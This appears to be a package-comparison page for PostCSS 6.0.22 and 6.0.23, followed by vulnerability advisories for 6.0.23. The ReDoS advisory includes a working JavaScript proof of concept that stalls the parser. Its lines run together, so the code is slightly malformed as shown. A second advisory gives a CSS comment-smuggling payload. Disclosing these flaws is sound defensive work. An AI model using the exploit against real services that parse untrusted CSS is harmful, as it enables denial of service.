PostCSS is a powerful JavaScript tool designed to transform CSS with an extensive ecosystem of plugins. Versions 6.0.22 and 6.0.23 share the same core dependencies – chalk for colorful terminal output, source-map for debugging, and supports-color for detecting terminal color support – reflecting a commitment to consistent base functionality. Both versions are licensed under the MIT license, making them free to use and modify. Andrey Sitnik remains the author. The repository URL is the same so it is easy to find both versions on GitHub.
The key difference lies in the release date and unpacked size. Version 6.0.23 was released on June 21, 2018, subsequent to version 6.0.22, which was released on April 28, 2018. While both have 38 files, version 6.0.23 sees a subtle increase in the unpacked size from 657,640 bytes to 658,430 bytes. This 790 bytes difference likely represents minor bug fixes, performance improvements, or small feature enhancements implemented between the releases. Developers should focus based on the latest release. While both offer stable CSS transformation, developers prioritizing refined stability should opt for version 6.0.23. Always consider version 6 onward for more recent upgrades on functionality.
Choosing the right version depends on your project's specific needs. For those looking for the most up-to-date refinements within the 6.x series, version 6.0.23 is the recommended choice.
All the vulnerabilities related to the version 6.0.23 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.